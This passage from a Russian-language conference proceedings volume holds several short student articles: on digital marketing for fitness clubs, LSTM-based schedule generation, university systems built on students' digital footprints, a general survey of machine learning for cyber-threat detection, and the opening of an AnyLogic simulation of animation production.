виях постоянно увеличивающегося темпа жизни. В этом контексте сайт как способ бес-
контактного общения становится незаменимым инструментом в арсенале современных 
коммуникационных технологий, предлагая удобство и доступность в любое время и в 
любом месте. Цифровые технологии в настоящий момент играют ключевую роль в биз-
несе, наличие эффективного веб-ресурса становится желательной и крайне необходимой 
составляющей успешной коммерческой деятельности. В этом контексте, сайт, выступа-
ющий в роли посадочной площадки для продаж, приобретает особую значимость. Он не 
только привлекает внимание потенциальных клиентов, но и служит отправной точкой 
для их последующего вовлечения в процесс покупки. Эта виртуальная платформа, бу-
дучи оптимизированной под требования целевой аудитории, превращается в мощный 
инструмент для увеличения объема продаж и расширения клиентской базы. Принципи-
альная схема взаимодействия с аудиторий через сайт представлена на рисунке 1. 
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Рисунок 1 – Продвижение фитнесс-услуг через сайт 

Комплексный подход к коммуникационной политике и грамотное использование 
всех доступных средств коммуникации позволяют фирмам не только привлекать новых 
клиентов, но и удерживать существующих, создавая тем самым устойчивую и положи-
тельную репутацию на рынке. Цифровые каналы продвижения, актуальные для фит-
несс-услуг в современном мире, можно разделить на несколько групп которые, приво-
дим ниже. Создание контента является основой продвижения любого веб-ресурса. Это 
основополагающая деятельность любой компании так как позволяет генерировать кон-
тент в той предметной области, к которой компания собирается занимать лидирующие 
позиции по продажам товаров или услуг. Для сайта фитнес-клуба контентом будут яв-
ляться различные материалы, связанные со спортивными мероприятиями, организацией 
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тренировок, спортивным питанием, спортивными аксессуарами и так далее. Основной 
задачей является создание информационного «корма» для поисковых серверов, и обес-
печение посредством них привлечения новых клиентов. Помимо текстового контента, 
можно создавать также графический, аудио и видео контент. 

SMM-продвижение базируется на создании контента для социальных сетей с це-
лью продвижения тех же товаров и услуг. Однако этот способ имеет некоторые соб-
ственные особенности. Сюда включаются как размещение статейного контента, так и 
фото-видеоконтента. 

SEO продвижение базируется на специфичном написании текстового контента 
для получения наилучших результатов на поисковых серверах. Для этого используется 
семантическое ядро сайта, которое определяет ключевые слова для написания контента 
и ориентировано на поисковую оптимизацию. 

«Контекстная реклама представляет собой текстовый или текстово-графический 
материал, который отображается в соответствии с содержимым сайта или поисковика. 
Ее основная задача привлечение дополнительной целевой аудитории, увеличение про-
даж функционирующего бизнеса. С помощью контекстной рекламы продвинуть новые 
бренды, товары или услуги, которые неизвестны пользователю, не получится» [1]. Этот 
вид рекламы помогает воздействовать на целевую аудиторию, так как материалы смот-
рят пользователи, которые в большей степени заинтересованы тематикой, так как сами 
вводили ранее в поисковую систему запрос схожий с рекламой или перешли на специа-
лизированный сайт [1]. Таргетированная реклама – более дорогой способ продвижения, 
но один из самых эффективных. Это реклама учитывает личностные параметры потре-
бителей кому она демонстрируется – их демографические параметры и интересы [2]. 
Как правило, такая реклама используется для информирования о каких-либо мероприя-
тиях, продвижения продуктов и услуг, имиджевых кампаний, как уже находящихся на 
рынке, так и новых, способствуя повышению узнаваемости торговой марки. Такая ре-
клама действует непосредственно на целевую аудиторию и достаточно недорога [3]. 
«Тизерная реклама (интригующая реклама) содержит в себе не всю информацию, а 
максимально интригует потребителя, заставляет перейти по ссылке и уже полностью 
ознакомиться с коммерческим предложением. К основным преимуществам такого вида 
рекламы можно отнести: относительно невысокую стоимость клика, широкий охват 
аудитории, простота создания, возможность таргетинга. К недостаткам тизеров можно 
отнести: возможность формирования эффекта «баннерной слепоты», при которой кар-
тинка надоедает, приедается аудитории, некачественный траффик, недостаточность ме-
ста для достаточного информирования потребителя» [4]. 

«Нативная реклама (естественная реклама) – это полезная и интересная инфор-
мация, направленная на конкретную аудиторию. Она не продвигает продукт напрямую, 
не нарушает пользовательский опыт и преподносится так, чтобы не мешать пользовате-
лю» [5]. «Основные задачи нативной рекламы – не быть навязчивой, и избегать игнори-
рования, которая характерна для обычных традиционных видов рекламы. Обычно она 
обозначена следующими пометками – «спонсорский пост» или «на правах рекламы», 
которые информируют пользователя о коммерческом характере контента» [3]. 

Вирусная реклама – это прежде всего реклама в интернете, которая распростра-
няется самими пользователями, так как она зрелищна, эффектна. Как правило, это кар-
тинка или видеоролик, может быть «гифка». 

Конечно же наиболее «древним» каналом продвижения в сети Интернет являет-
ся интернет-рассылка почты. Достоинства интернет-рассылки является её бесплатность 
и относительная действенность. Мы рассмотрели наиболее актуальные на сегодняшний 
день инструменты продвижения в сети Интернет актуальных для фитнес-клубов. 

Интернет является инструментом для эффективного продвижения фитнес-услуг 
только в том случае, если сайт является одним из коммуникативных каналов и владелец 
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постоянно работает над конверсией сайта. Рассмотрены изменения в паттернах воспри-
ятия информации современными пользователями сети Интернет, приведены каналы 
продвижения и функции сайта. Выделены наиболее эффективные каналы для продви-
жения сайта определяющие коммуникативную политику фитнес-центров и обоснована 
необходимость выстраивания целенаправленной цифровой коммуникативной политики 
фитнес-клубов, что выражается в четком понимании современных инструментов циф-
рового маркетинга и их влияние на объемы продаж.  

В работе проведен анализ современных тенденций в коммуникации с клиентами 
фитнес-клубов, рассмотрены ключевые цифровые каналы и инструменты продвижения. 
Работа носит прикладной характер и может быть использована как методологическая 
основа для разработки и совершенствования коммуникационной политики фитнес-
клубов в условиях цифровой трансформации бизнеса. 
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Аннотация. В рамках работы рассматриваются методы генерации расписаний с исполь-
зованием нейронных сетей. Цель работы заключается в разработке эффективного алго-
ритма, способного автоматизировать процесс составления расписания с учетом различ-
ных ограничений и предпочтений пользователей. В качестве предмета исследования 
выступает проектирование и реализация модели на основе архитектуры глубокого обу-
чения, что позволяет улучшить качество генерации расписаний по сравнению с тради-
ционными методами. 
Abstract. The paper considers methods for generating schedules using neural networks. The 
aim of the work is to develop an effective algorithm capable of automating the scheduling 
process, taking into account various restrictions and user preferences. The subject of the re-
search is the design and implementation of a model based on the deep learning architecture, 
which makes it possible to improve the quality of schedule generation compared to traditional 
methods. 
Ключевые слова: наука о данных, глубокое обучение, нейронные сети, автоматизация 
расписания, алгоритмы составления расписаний. 
Key words: data science, deep learning, neural networks, schedule automation, scheduling 
algorithms. 

 
Продуктивность и качество работы организаций различных сфер: образование, 

транспорт, производство и так далее, напрямую зависит от эффективного распределе-
ния времени и ресурсов, что делает составление расписаний одной из ключевых задач 
управления ресурсов. Но ручное составление расписаний, использование простых ал-
горитмов или других традиционных методов планирования, сталкиваются с рядом 
ограничений: трудоемкость, подверженность человеческим ошибкам, неспособность 
учитывать многочисленные ограничения, возникающие у различных областей бизнеса. 

С учетом этих проблем существует необходимость в разработке более эффек-
тивных и адаптивных решений способных решить данные проблемы, Процессы состав-
ления расписаний являются задачей оптимизации. На данный момент, в решении задач 
этого вида, наибольшей популярностью и эффективностью пользуются различные ал-
горитмы машинного обучения, особенно нейронные сети и глубокое обучение, ввиду 
их возможности анализировать большие объемы данных и выявлять скрытые законо-
мерности. 

Цель работы: проектирование и разработка алгоритма для автоматизированного 
составления расписания с использованием нейронных сетей. 

Для разработки подобного алгоритма необходимо: 
1) Провести обзор существующих методов и алгоритмов составления расписа-

ний. 
2) Разработать архитектуру нейронной сети, способную учитывать различные 

ограничения и требования к расписанию. 
3) Исследовать влияние параметров модели на качество генерируемого расписа-

ния. 
4) Оценить производительность предложенного алгоритма на основе реальных 

данных. 
Методы составления расписаний 
Существует множество различных методов составления расписания, они имеют 

существенные отличия по подходу к решению задачи, скорости обработки, качеству 
составления расписания. Рассмотрим несколько подходов к решению данной задачи: 

1) Жадные алгоритмы: строят расписание поэтапно, выбирая на каждом шаге 
наиболее оптимальный вариант, не учитывая глобальную оптимальность решения. 
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2) Линейное программирование: стандартный подход для многих задач, позво-
ляет учитывать множество ограничений и предпочтений, но требует значительных вы-
числительных ресурсов. 

Многие традиционные алгоритмы показали достаточную эффективность и 
нашли применение в задачах по составлению расписаний в различных бизнес-сферах. 

Развитие алгоритмов машинного обучения позволило повысить скорость анали-
за и обработки больших объемов данных, что дало новые возможности для автоматиза-
ции процессов составления расписаний. Нейронные сети способны обрабатывать слож-
ные структуры данных и выявлять нелинейные зависимости, особенно хороших ре-
зультатов можно достичь использую глубокие архитектуры. Исследования показывают 
применимость данного подхода для прогнозирования потребностей в ресурсах и авто-
матизации составления расписаний. Например, работа «Сетевая модель и алгоритм со-
ставления расписания учебных занятий на основе данных прошлых периодов» [1] де-
монстрирует успешное применение сетевых моделей для решения задач расписания. 
При сравнении методов становится очевидным, что современные подходы обладают 
значительными преимуществами над традиционными, они более адаптивны и способ-
ны обрабатывать информацию в реальном времени, что позволяет им реагировать на 
изменения условий, таких как отмены занятий или изменение доступных ресурсов. Од-
нако их реализация сложна и более трудозатратна: например, выбор правильной архи-
тектуры нейронной сети и обучение модели на качественных данных являются крити-
чески важными шагами для достижения высокого качества результатов. Несмотря на 
прогресс, существующие исследования все еще оставляют открытыми вопросы, каса-
ющиеся оптимизации параметров моделей и их обобщающей способности. В данной 
работе будет предпринята попытка решить эти проблемы, разработав алгоритм для ав-
томатизированного составления расписания с использованием нейронных сетей, кото-
рый учтет как традиционные, так и современные подходы. 

Методология 
Задача составления расписания формулируется как оптимизационная задача, где 

необходимо распределить ограниченные ресурсы (например, временные отрезки, ме-
стоположение, участники) с учетом множества ограничений. Цель заключается в ми-
нимизации конфликтов и максимизации удовлетворенности всех сторон. 

Для решения задачи может быть использован алгоритм объединяющий традици-
онный и современный подход. 

Строятся модели способные оценивать сгенерированное расписание и прогнози-
ровать нагрузку. Первая модель обучается на исторических данных о расписаниях, со-
ставленных традиционными или неавтоматизированными методами. Вторая на стати-
стических данных о нагрузке. Перед обучением данные должны быть очищены от ано-
малий и пропусков, а также нормализованы для обеспечения совместимости с моделя-
ми. Для подобных моделей подходит архитектура рекуррентных нейронных сетей 
(RNN), так как она хорошо подходит для работы с последовательными данными. В 
частности, сеть с долгой краткосрочной памятью (LSTM) [2] позволяет эффективно 
справляться с проблемой затухающего градиента и учитывать долгосрочные зависимо-
сти в данных. Построение подобных моделей является задачей анализа и прогнозиро-
вания временных рядов, данная тема хорошо описана в статье «Исследование нейрон-
ных сетей для прогнозирования временных рядов» [3], автор статьи также рассматрива-
ет графовые сети внимания как альтернативу для решения данной задачи. Далее разра-
батывается алгоритм на основе жадного подхода, использующий модель нейронной се-
ти для оценки состояний расписания и сгенерированные данные о нагрузке. 

Данная методология объединяет преимущества обоих подходов, минимизирует 
количество конфликтов, повышает удовлетворенность участников процесса, а также 
оптимизирует распределение ресурсов. 
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Реализация 
Базовый вариант алгоритма реализован и протестирован в рамках участия в ме-

роприятие «Лидеры цифровой трансформации 2024». Разработанное приложение поз-
воляет автоматически формировать расписание медицинских работников с учетом всех 
требований и ограничений данной предметной области. 

Решение использовало модель [4], архитектура которой показана на рисунке 1. 
Данная модель была построена на статистике обращений и способна предсказывать ко-
личество обращений по десяти категориям. 

Входной слой (8, 10)

LSTM (2, 256)

LSTM (256)

Выходной слой (10)

Обратные связи

Слой принимающий данные и 
проверяющий их форму

Основной скрытый слой 
Активации sigmoid tanh

Второй скрытый слой, содержит 
обратные связи, возвращает 
последнее состояние
Активации sigmoid tanh

Выходной слой, полносвязный. 10 
нейронов, активация sigmoid

 
Рисунок 1 – Архитектура модели 

Качество обученной модели было проверено на трех выборках: тренировочной, 
тестовой и проверочной (показано на рисунке 2). Значение потерь на тренировочной 
выборке составило 0.048, что свидетельствует о высокой степени соответствия пред-
сказаний модели реальным данным. На тестовой выборке значение достигло более вы-
сокого значения 0.053, что может указывать на неравномерное распределение данных 
или незначительное переобучение модели. Для генерации расписания на заданный диа-
пазон дат был разработан алгоритм [5], использующий жадный подход. Данный алго-
ритм показал высокую скорость работы и качество составляемого расписания, что дока-
зывает превосходство комбинированной методологии над традиционными подходами. 

 
Рисунок 2 – Пример генерации нагрузки 

Поставленная цель заключалась в проектировании и разработке алгоритма для 
эффективного автоматизированного составления расписания. Для этого был выполнен 
обзор существующих подходов к составлению расписаний, спроектирована методоло-
гия и представлена конкретная ее реализация, показана ее эффективность на примере 
составления расписаний медицинских работников. Результаты экспериментов показали 
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высокую эффективность предложенной методологии. Использование рекуррентных 
нейронных сетей продемонстрировало способность моделей минимизировать конфлик-
ты в расписании и повышать его качество за счет оптимизации распределения ресур-
сов. Внедрение данного подхода значительно улучшает скорость обработки данных и 
адаптивность алгоритма к изменениям условий задачи. 

Следующим этапом может стать разработка веб-сервиса, применяющего эту ме-
тодологию для генерации расписаний. 
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REVIEW OF DOMESTIC SERVICES AND SYSTEMS USING THE STUDENT'S 
DIGITAL FOOTPRINT 
 
Аннотация. В данной работе обозреваются отечественных сервисы, системы и практи-
ки, использующих цифровой след студента, для поиска существующих на данных мо-
мент времени проблем и недостатков в них. В ней рассматриваются такие информаци-
онно-технологические решения, как «Цифровой тьютор» от УрФУ, система от ТюмГУ, 
практики от ПГТУ и ТГУ. На основании проведенного обзора и анализа предлагаются 
возможные способы решения или обходы возникающих проблем. 
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Abstract. This paper reviews domestic services, systems and practices that use a student's dig-
ital footprint to find problems and shortcomings that exist at the moment. It examines infor-
mation technology solutions such as the «Digital Tutor» from UrFU, a system from Tyumen 
State University, practices from Perm State Technical University and TSU. Based on the re-
view and analysis, possible solutions or workarounds for the problems that arise are proposed. 
Ключевые слова: цифровой след студента, успеваемость, индивидуальная траектория 
развития, цифровая образовательная среда, социальные сети, образование. 
Key words: student digital footprint, academic performance, individual development trajecto-
ry, digital educational environment, social networks, education. 
 

Социальное государство всегда заинтересовано в постоянном развитии и улуч-
шении сфер жизни своих граждан, таких как образование. Одним из способов развития 
можно считать внедрение современных технологий. Поэтому при поддержки нашего 
государства в лице президента и Министерства науки и высшего образования Россий-
ской Федерации подписываются указы и проекты, направленные на цифровизацию си-
стемы образования. 

Одной из перспективных технологий по цифровизации можно считать цифровой 
след студента – совокупность активных и пассивных данных, генерирующихся студен-
тами при взаимодействии с цифровыми образовательными средами, онлайн-курсами и 
социальными сетями. Сбор и последующих анализ цифрового следа помогает не только 
своевременно оценить успеваемость студентов, но прогнозировать его успехи или про-
блемы при достижении учебной программы, что в последствии можно использовать 
для улучшения качества образования путем создания индивидуальных траекторий обу-
чения [1]. Целью данной работы является обзор и анализ сервисов и проектов, исполь-
зующих цифровой след студента, для выявления существующих в них проблем и поис-
ка возможных путей из решения. 

 «Цифровой тьютор» от УрФУ 
«Цифровой тьютор» – проект по интеграции алгоритмов машинного обучения в 

образовательный процесс Уральского федерального университета. Его основными мо-
дулями и возможностями являются: 

- Аналитика онлайн-курсов: сервис производит анализ учебных и контрольно-
измерительных материалов курсов, вовлеченности студентов в них для их последую-
щего оценивания качества. 

- Профориентация абитуриентов: сервис производит анализ страниц абитури-
ентов в социальной сети «ВКонтакте», сравнивая их со страницами успешно обучаю-
щихся студентов и находя разнообразные закономерности успеха с помощью алгорит-
мов машинного обучения. Данный анализ помогает рекомендовать абитуриентам 
наиболее подходящие под них образовательные направления. 

Благодаря данному сервису, институт смог выявить проблемы с оцениванием в 
дистанционном обучении, а именно то, что в массовых открытых онлайн-курсах суще-
ствует серьезный перекос оценок в сторону «хорошо» и «отлично», которые составля-
ют около 80 % процентов от всех оценок, что поднимает вопрос о необъективном оце-
нивании результатов студентов или возможных случаях мошенничества [2]. 

Система для управления профессиональным развитием студента на основе 
его цифрового следа от ТюмГУ 

Разрабатываемая система ученых из Тюменского государственного университе-
та – это интеллектуальная система для глубокого анализа цифрового следа студента, 
направленная адаптацию учебных программ по IT-направлениям к требованиям рынка 
труда. Ее основными модулями и возможностями являются: 

- Диагностика профессиональной компетенции: система анализирует выпуск-
ные квалификационное работы, учебные планы, требования в вакансиях и трудо-
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устройство выпускников для проверки соответствия знаний и навыков студентов к за-
просам рынка труда. 

- Адаптация учебных планов: система анализирует содержание курсов с акту-
альными профессиональными стандартами для добавления или удаления новых дисци-
плин, факультативов и элективов. 

Благодаря данной системе, ученые смогли найти несоответствие в подготовке 
своих IT-специалистов к сегодняшним реалиям рынка труда, что позволило скорректи-
ровать около 30 % учебных программ. А также создавать проектные группы из студен-
тов на основании соответствия их навыков и психологической совместимости друг с 
другом [3]. 

Сервис психометрической экспертизы от НИУ ВШЭ 
Разрабатываемый сервис ученными из Национального исследовательского уни-

верситета «Высшая школа экономики» по заказу Министерства науки и высшего обра-
зования Российской Федерации – это интегрированный программный модуль в портал 
«Современная цифровая образовательная среда», позволяющий авторам анализировать 
свои онлайн-курсы на данном портале на основе данных о поведении обучающихся. 
Такие данные сервис делит на четыре основные области: 

- Трудности контента: соответствие представленного материала и уровня под-
готовки обучающихся, проходящих данных курс. 

- Динамика подготовленности студентов: в какой степени происходит прогресс 
обучающихся при прохождении курса, а также наличие отслеживание этого прогресса. 

- Взаимодействие с контентом: анализ вовлеченности студентов на основе ста-
тистики по просмотрам видеоматериалов курса, время прохождения курса, количество 
попыток сдачи аттестации. 

- Качество оценочных средств: объективность контрольно-измерительных ма-
териалов в оценке результатов обучающихся. 

Благодаря данному сервису было обработано свыше 270 онлайн-курсов с предо-
ставлением авторам этих курсов рекомендаций по улучшению и оптимизации своих 
материалов. Он смог выявить такую проблему, как корреляцию низкой вовлеченности 
обучающихся с ошибками в видеоматериалах курсов. В Поволжском государственном 
технологическом университете занимаются сбором и анализом цифровых следов сту-
дентов на образовательном портале ВУЗа, предоставляя преподавателям обратную 
связь и мониторинг для экспресс-анализа происходящего на курсе [4]. Томском госу-
дарственном университете изучают цифровые следы студентов с помощью данных из 
социальных сетей, таких как «ВКонтакте», создав прогнозирующую модель успеваемо-
сти первокурсников на основе сообществ, в которых они состоят [4]. 

Составим сводную таблицу по функциональным возможностям проанализиро-
ванных решений для поиска общих проблем (таблица 1). 

Таблица 1 – Сводная таблица 
Сервис / 
Крите-
рии 

УрФУ ТюмГУ НИУ ВШЭ ПГТУ ТГУ 

1 2 3 4 5 6 
Основ-
ная 
функция 

Персонали-
зация обу-
чения, про-
фориентация 

Анализ ком-
петенций, 
адаптация 
программ 

Оценка каче-
ства онлайн-
курсов 

Монито-
ринг ак-
тивности 
в ЦОС 

Прогнозирова-
ние успеваемо-
сти, психоло-
гическое про-
филирование

Анали-
зируе-
мые 
данные 

ЦОС, соци-
альные сети, 
результаты 
тестов 

Тексты ВКР, 
вакансии, 
активность в 
ЦОС 

Активность в 
курсах (про-
смотры, вре-
мя), тесты

ЦОС Социальные 
сети 
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Продолжение таблицы 1 
1 2 3 4 5 6 

Ключе-
вые мо-
дули 

Аналитика 
онлайн-
курсов, про-
фориентация 
абитуриентов 

Диагностика 
компетен-
ций, адапта-
ция учебных 
планов 

Аналитика 
онлайн-
курсов с ре-
комендаци-
ями 

Аналити-
ка он-
лайн-
курсов, 

Прогнозирую-
щая модель 

Практи-
ческое 
приме-
нение 

Рекомендации 
по курсам, 
снижение от-
числений 

Корректи-
ровка учеб-
ных про-
грамм 

Оптимиза-
ция МООК, 
«знак каче-
ства» 

Обратная 
связь 

Раннее выявле-
ние академиче-
ских рисков 

В проделанной работе были рассмотрены отечественные информационно-
технологические решения, использующие цифровой след студента для улучшения об-
разовательного процесса. В результате обзорного анализа были выявлены следующие 
проблемы, присущие данным решениям: использование единственных источников дан-
ных без возможности интеграции с другими, сбор и использование персональных дан-
ных без прозрачных механизмов согласия, отсутствие защиты от фальсификации ре-
зультатов учебной деятельности. Для обхода этих проблем можно предложить следу-
ющие решения: унификация стандартов данных и создание API для возможности инте-
грации сервиса в множество информационных ресурсов и сбора данных с множества 
источников данных, геймификация сервиса и разработка практик по отслеживанию 
фальсификаций пользователей, внедрение блокчейна для управления согласиями и 
анонимизации данных. 
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ИСКУССТВЕННЫЙ ИНТЕЛЛЕКТ В ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ: 
ПРИМЕНЕНИЕ МАШИННОГО ОБУЧЕНИЯ ДЛЯ ОБНАРУЖЕНИЯ УГРОЗ 
 
ARTIFICIAL INTELLIGENCE IN INFORMATION SECURITY:  
APPLYING MACHINE LEARNING TO DETECT THREATS 
 
Аннотация. В статье рассматривается применение искусственного интеллекта (ИИ) и 
машинного обучения в кибербезопасности. Анализируются методы выявления анома-
лий, классификации вредоносных файлов и предсказания угроз. Приведены примеры 
существующих решений, оценена их эффективность, а также обозначены перспективы 
дальнейшего развития технологий ИИ в данной области. 
Abstract. The article discusses the use of artificial intelligence (AI) and machine learning in 
cybersecurity. Methods for detecting anomalies, classifying malicious files, and predicting 
threats are analyzed. Examples of existing solutions are given, their effectiveness is evaluated, 
and prospects for further development of AI technologies in this area are outlined. 
Ключевые слова: ИИ, кибербезопасность, МО, обнаружение угроз, анализ сетевого 
трафика. 
Key words: AI, cybersecurity, ML, threat detection, network traffic analysis. 
 

Современные цифровые технологии стремительно развиваются, и вместе с этим 
увеличивается количество и сложность киберугроз. Традиционные средства информа-
ционной безопасности уже не всегда справляются с задачами своевременного обнару-
жения атак. Именно поэтому всё больше внимания уделяется применению искусствен-
ного интеллекта и машинного обучения (МО) в защите информации. Эти технологии 
позволяют создавать системы, способные автоматически анализировать поведение 
пользователей, выявлять аномалии и обнаруживать вредоносную активность без уча-
стия человека. 

Цель данной работы – проанализировать, как ИИ и МО применяются для обес-
печения информационной безопасности, в частности, для обнаружения угроз. В рамках 
исследования рассматриваются примеры уже существующих решений, основанных на 
ИИ, а также их сильные и слабые стороны. 

Тема активно развивается, и на сегодняшний день существует множество науч-
ных работ и практических реализаций в данной области. Тем не менее, не все техноло-
гии одинаково эффективны, и многие подходы всё ещё находятся в стадии тестирова-
ния и совершенствования. Поэтому важно понять, какие методы действительно рабо-
тают, и в каком направлении стоит двигаться дальше. 

В последние годы ИИ и МО всё активнее применяются в сфере информационной 
безопасности. Это связано с тем, что современные киберугрозы становятся всё более 
сложными и масштабными, и традиционные средства защиты уже не всегда справля-
ются. Студенты, исследователи и специалисты всё чаще рассматривают ИИ как эффек-
тивный инструмент для автоматизации процессов анализа данных и обнаружения по-
тенциальных атак. Одно из главных направлений применения ИИ – это выявление ано-
малий в сетевом трафике. С помощью алгоритмов машинного обучения можно обучить 
систему «нормальному» поведению сети, а затем автоматически фиксировать отклоне-
ния, которые могут свидетельствовать о вторжении или вредоносной активности. Это 
особенно актуально для крупных организаций с большим объёмом данных, где ручной 
анализ становится невозможным.Кроме описанных направлений, перспективным счи-
тается применение ИИ в анализе поведения конечных точек (Endpoint Detection and 
Response, EDR). Системы EDR с поддержкой машинного обучения способны в реаль-
ном времени отслеживать активность на рабочих станциях и серверах, выявляя подо-
зрительные процессы, попытки эскалации привилегий или необычные сценарии досту-



235 

па к данным. Благодаря этому можно своевременно предотвратить развитие атаки 
внутри корпоративной сети. Также важно отметить роль ИИ в предиктивной аналитике, 
когда на основе накопленных данных можно не только обнаруживать текущие угрозы, 
но и прогнозировать возможные атаки, что способствует проактивной защите. 

Кроме того, ИИ активно используется для классификации вредоносных файлов. 
Например, можно обучить модель на базе большого количества известных образцов 
вредоносного ПО и использовать её для анализа новых подозрительных файлов. Это 
позволяет быстро и точно определять угрозы даже без сигнатур, что повышает скорость 
реакции на атаки.  

Сейчас на рынке уже есть несколько готовых решений, построенных на базе ИИ. 
Среди них – Microsoft Defender ATP, который использует МО для выявления необыч-
ного поведения в системе, Darktrace, применяющий подход «иммунной системы» для 
защиты сети, а также Google Chronicle, совмещающий возможности SIEM и ИИ для 
анализа журналов безопасности. Эти системы показывают высокую эффективность в 
обнаружении угроз и предотвращении инцидентов [1]. Также стоит упомянуть приме-
нение методов машинного обучения в фильтрации фишинговых сообщений. Например, 
нейросетевые модели могут анализировать структуру текста, поведение ссылок и заго-
ловки писем, чтобы предсказать вероятность фишинга [2]. Это особенно полезно в 
условиях, когда злоумышленники используют социальную инженерию и подделывают 
легитимные письма, делая их визуально неотличимыми от настоящих. ИИ помогает и в 
управлении уязвимостями. Многие системы безопасности используют машинное обу-
чение для анализа паттернов уязвимостей, отслеживания открытых портов, нестандарт-
ной активности пользователей и систем. Это позволяет быстрее находить потенциаль-
ные точки входа для атаки и своевременно принимать меры по их устранению. Напри-
мер, некоторые решения используют графовые нейросети для отслеживания связей 
между событиями и автоматического выявления аномальных цепочек [3]. Отдельное 
внимание уделяется использованию ИИ для автоматизации реагирования на инциден-
ты. В рамках концепции Security Orchestration, Automation and Response разрабатыва-
ются системы, которые не только обнаруживают угрозы, но и автоматически предпри-
нимают меры по их устранению или увеличения безопасности системы, в которой ра-
ботают: изолируют заражённые устройства, блокируют IP-адреса, уведомляют админи-
страторов и инициируют расследование. Это значительно ускоряет реакцию и снижает 
потенциальный ущерб [4]. Несмотря на очевидные преимущества, у ИИ в информаци-
онной безопасности есть и слабые стороны. Например, злоумышленники могут пытать-
ся обмануть модели машинного обучения с помощью «адверсариальных» примеров – 
специально созданных входных данных, которые выглядят нормально для человека, но 
вызывают ошибки в ИИ-системе. Кроме того, качество работы таких систем напрямую 
зависит от обучающих данных: если в датасете не было похожих угроз, модель может 
их не распознать. Также существуют сложности в объяснении решений ИИ. Когда си-
стема автоматически блокирует действия пользователя или изолирует устройство, ад-
министратор должен понимать, почему это произошло. Поэтому в последние годы ак-
тивно развивается направление Explainable AI (объяснимый ИИ), цель которого – сде-
лать поведение модели более прозрачным для человека. Ещё одна перспектива – это 
развитие федеративного обучения. Этот подход позволяет обучать модели на распреде-
лённых данных, не передавая сами данные на сервер. Это особенно актуально в усло-
виях конфиденциальности и защиты персональной информации, например, в здраво-
охранении или финансовом секторе. В целом, внедрение ИИ и МО в кибербезопасность 
– это не просто модный тренд, а объективная необходимость. Такие технологии позво-
ляют перейти от пассивной защиты к активному противодействию угрозам. Конечно, 
полностью заменить человека они не могут, но значительно усиливают его возможно-
сти и снижают нагрузку на специалистов по информационной безопасности. В работе 
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был проведён анализ применения искусственного интеллекта и машинного обучения в 
сфере информационной безопасности. Целью исследования являлось выявление воз-
можностей и эффективности использования ИИ для обнаружения киберугроз, таких как 
аномалии в сетевом трафике и вредоносные файлы. Авторами были рассмотрены прин-
ципы функционирования современных систем киберзащиты, основанных на ИИ, таких 
как Darktrace, Microsoft Defender ATP и Google Chronicle. Было выявлено, что эти ре-
шения способны обнаруживать угрозы с высокой точностью, минимизируя влияние че-
ловеческого фактора и обеспечивая автоматизированную реакцию на инциденты. В ре-
зультате работы было установлено, что технологии машинного обучения позволяют не 
только эффективно классифицировать вредоносные объекты, но и выявлять сложные 
аномалии, ранее недоступные традиционным средствам защиты. Авторы также отмети-
ли существующие ограничения, включая потребность в больших объёмах обучающих 
данных, уязвимость к обходным техникам злоумышленников и высокие вычислитель-
ные требования. Таким образом, в работе была достигнута поставленная цель: проведён 
обзор существующих решений на базе ИИ, дана оценка их эффективности и обозначе-
ны перспективы дальнейшего развития. Авторы доказали, что применение искусствен-
ного интеллекта в кибербезопасности уже сегодня повышает уровень защиты, а в бу-
дущем позволит перейти к более адаптивным, интеллектуальным и автономным систе-
мам проактивной киберобороны. 
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Аннотация. В статье представлена дискретно-событийная имитационная модель ани-
мационного производства, разработанная в среде AnyLogic Personal Learning Edition. 
Модель предназначена для анализа и оптимизации процессов создания короткометраж-
ных анимационных проектов. Она охватывает ключевые этапы производства анимации. 
Модель рассчитывает временные и стоимостные показатели каждого этапа, и предо-
ставляет итоговую статистику по проекту. Основной целью данной модели является 
помощь продюсерам в планировании сроков и бюджета, выявлении узких мест процес-
са и обосновании потребности в ресурсах.  
Abstract. The article presents a discrete event simulation model of animation production de-
veloped in the AnyLogic Personal Learning Edition environment. The model is designed to 
analyze and optimize the processes of creating short animation projects. It covers the key 
stages of animation production. The model calculates the time and cost indicators of each 
stage, and provides the final statistics for the project. The main purpose of this model is to 
help producers plan deadlines and budgets, identify process bottlenecks, and justify resource 
requirements. 
Ключевые слова: анимационное производство, имитационное моделирование, произ-
водственные процессы, AnyLogic, показатели. 
Key words: animation production, simulation modeling, production processes, AnyLogic, in-
dicators. 
 

В настоящее время ряд анимационных студий сталкивается с трудностью плани-
рования анимационного производства, из-за чего во время работы возникает множество 
проблем. Основными проблемами являются несоблюдение установленных сроков на 
этапах производства и выход за пределы планируемого бюджета. Отсюда возникает 
необходимость в создании имитационной модели процесса анимации, позволяющей 
запланировать оптимальные сроки выполнения бюджета, а также выявить узкие места в 
процессе производства. 

Анимационное производство – это процесс создания анимационных фильмов, 
сериалов или роликов. Данное производство включает в себя этапы: формирование 
концепции, написание сценария, рисование фонов, разработка персонажей, создание 
анимации, звуковое оформление, финальная обработка [1].  

Данная работа представляет собой дискретно-событийную имитационную мо-
дель, разработанную в среде AnyLogic Personal Learning Edition. Для построения ими-
тационной модели используются данные студии анимации «Зелёные Камнеежки» (г. 
Комсомольск-на-Амуре). Основной целью модели является анализ и оценка процесса 
производства короткометражных анимационных проектов, количественная оценка тру-
дозатрат, бюджета, а также влияния ограниченных ресурсов и качества работы на ито-
говые показатели проекта. 

Термин «дискретно-событийное моделирование» обычно используется в более 
узком смысле для обозначения процессного моделирования, где динамика системы 
представляется как последовательность операций над агентами, представляющими 
клиентов, документы, звонки, пакеты данных, транспортные средства и т.п. [2]. Агенты 
могут обладать определенными атрибутами, влияющими на процесс их обработки или 
накапливающими статистику. Такой подход широко используется в бизнес-процессах, 
производстве, логистике [3]. 

Модель анимационного производства стоит использовать на этапе планирова-
ния, когда определен тайминг (длительность) готового анимационного проекта, коли-
чество аниматоров и предполагаемое количество персонажей. Эти данные будут вно-
ситься в модель для вычисления показателей эффективности производства. Для данной 
модели были включены основные этапы анимационного производства: 



238 

1) Написание сценария. Сценарист описывает сюжет, действия персонажей, 
диалоги, в соответсвии с изначальной идеей и временными рамками будущего проекта. 

2) Риггинг. Исходя из сценария, специалист разрабатывает персонажей и опре-
деляет их функциональность.  

3) Анимация. Аниматор использует готовые модели персонажей и создает ани-
мацию в каждой сцене. 

4) Композинг. Готовая анимация проходит этап финальной обработки, где до-
бавляются необходимые эффекты. 

Пользователь может вносить длительность анимационного проекта, количество 
персонажей по степени проработки и количество аниматоров. Внутри проекта можно 
